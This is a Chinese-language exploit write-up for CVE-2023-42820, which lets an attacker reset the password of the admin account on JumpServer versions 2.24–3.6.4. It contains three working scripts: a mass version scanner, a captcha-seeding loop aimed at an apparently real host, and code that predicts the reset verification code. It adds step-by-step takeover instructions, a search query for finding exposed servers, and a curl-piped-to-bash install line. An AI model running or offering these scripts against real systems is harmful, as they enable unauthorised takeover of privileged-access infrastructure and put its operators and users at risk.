JumpServer V2.24-3.6.4(CVE-2023-42820)

Random seed leakage results in the user password being reset.

原理可以查看文章:https://mp.weixin.qq.com/s/VShjaDI1McerX843YyOENw

本篇文章也是根据上面的文章写的

0x01 利用需要的条件

  1. 管理员用户名(默认为admin)
  2. 管理员邮箱(默认为[email protected]
  3. 版本在v2.24 - 3.6.4之间

0x02 版本

JumpServer检查版本的脚本:

import sys
import requests
import re

def check_url(url):
    response = requests.get(url)
    page_content = response.text
    match = re.search(r'src=/ui/assets/js/(?P<jsFile>[a-zA-Z0-9.]+)></script></body></html>',
    page_content)
    if match:
        js_file = match.group('jsFile')
        print(f"找到了目标路径,jsFile 值为: {js_file}")
    else:
        print("未找到目标路径")
        return
    
    js_url = f"{url}/ui/assets/js/{js_file}"
    print(js_url)
    js_response = requests.get(js_url)
    js_content = js_response.text

    pattern1 = r'value:"v(\d+\.\d+\.\d+)"'
    pattern2 = r'version:"(\d+\.\d+\.\d+)"'
    match1 = re.search(pattern1, js_content)
    if match1:
        version = match1.group(1)
        print(f"匹配到的版本号为: {version}")
    if "2.24" <= version <= "3.6.4":
        print("版本号在2.24 - 3.6.4范围内,存在cve-2023-42820:", url)
    else:
        match2 = re.search(pattern2, js_content)
    if match2:
        version = match2.group(1)
        print(f"匹配到的版本号为: {version}")
    if "2.24" <= version <= "3.6.4":
        print("版本号在2.24 - 3.6.4范围内,存在cve-2023-42820:", url)
    else:
        print("未匹配到版本号")

def verirf1(txt):
    try:
        f = open(txt)
        lines = f.readlines()
        for line in lines:
            line = line.strip('\n')
            line1 =line
            check_url(line1)
    except Exception as e:
        print('error222!')
    
if __name__ == '__main__':
    args = sys.argv
    a='-u'#检测单个网站
    b='-r'#检测多个网站,读取文本里面的url
    if args[1] == a:
        url = args[2]
        check_url(url)
    elif args[1] == b:
        wb=args[2]
        verirf1(wb)
    else:
        print("error!")

快速版本判断方法:

一般市面上主要的JumpServer有三种界面

只有这种大概率是符合版本的:

这种界面大概率是没有的(没成功过,但是存在同样的功能):

以下这种是百分之百不存在的:

0x03 复现

脚本一

seed填充脚本

import requests

seed = '9d69ea02fd8f57d9fbd7617a2203c96feee37fa9'
for i in range(501):
    url='http://jumper.zjdxghy.com:8999/core/auth/captcha/image/'+seed
    res =requests.get(url)
    print('i: {} code: {}, len: {}'.format(i, res.status_code, len(res.content)))

脚本二

生成的验证码的脚本

import requests
import logging
import sys
import random
import string
import argparse
from urllib.parse import urljoin

string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):
    args_names = ['lower', 'upper', 'digit', 'special_char']
    args_values = [lower, upper, digit, special_char]
    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits,string_punctuation]
    args_string_map = dict(zip(args_names, args_string))
    kwargs = dict(zip(args_names, args_values))
    kwargs_keys = list(kwargs.keys())
    kwargs_values = list(kwargs.values())
    args_true_count = len([i for i in kwargs_values if i])
    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'
    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
    can_startswith_special_char = args_true_count == 1 and special_char
    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
    
    while True:
        password = list(random.choice(chars) for i in range(length))
        for k, v in kwargs.items():
            if v and not (set(password) & set(args_string_map[k])):
                # 没有包含指定的字符, retry
                break
        else:
            if not can_startswith_special_char and password[0] in args_string_map['special_char']:
                # 首位不能为特殊字符, retry
                continue
            else:
                # 满足要求终止 while 循环
                break
    password = ''.join(password)
    return password

def nop_random():
    for i in range(4):
        random.randrange(-35, 35)
    for p in range(int(180 * 38 * 0.1)):
        random.randint(0, 180)
        random.randint(0, 38)

seed = "f8211cf2c88866c211369940a040d7c143081d17"#你的种子
random.seed(seed)
nop_random()
code = random_string(6, lower=False, upper=False)
print(code)
#生成的验证码为511075
#要有顺序,是先图片验证码生成调用的rand随机函数,再是jumpserver源码里面生成验证码

安装JumpServer

jumpserver的安装文档:快速入门 - JumpServer 文档

一键安装的命令

curl -sSL
https://resource.fit2cloud.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh |bash因为下载安装是最新版本的,只有老版本才有漏洞,做一下细微的调整。 直接把quick_start.sh下载下来查看看,发
现只要把version改成其他版本就可以了,比如3.6.4

然后再换了阿里源的kali中执行quick_start.sh 记得赋予chmod 777权限 等待下载安装一段时间就可以成功了,如图:

操作步骤

1)重置密码的地方获取随机种子

2)获取图片连接,种子为88d05db7cb64dc9dc501b07c0752364f472a4db3

3)刷新验证码, 输入管理员账号和图片验证码, 进⼊发送邮箱验证码的页面

4)利用脚本一进行播种

5)编写脚本模拟jumpserver生成重置验证码的过程,先把jumpserver生成验证码的函数扒下来,然后再添加根据jumpserver对验证码的配置去提取djiango-simple-captcha里面设置随机random函数范围的函数,即为脚本二

6)然后运行播种的脚本一跑完的时候,输入刚刚脚本二代码生成的验证码511075,就可以重置验证码了

重置成功

0x04 实战语法

web.title=”jumpserver”

0x05 Tips

如果出现播种的时候返回状态码为401等,请重试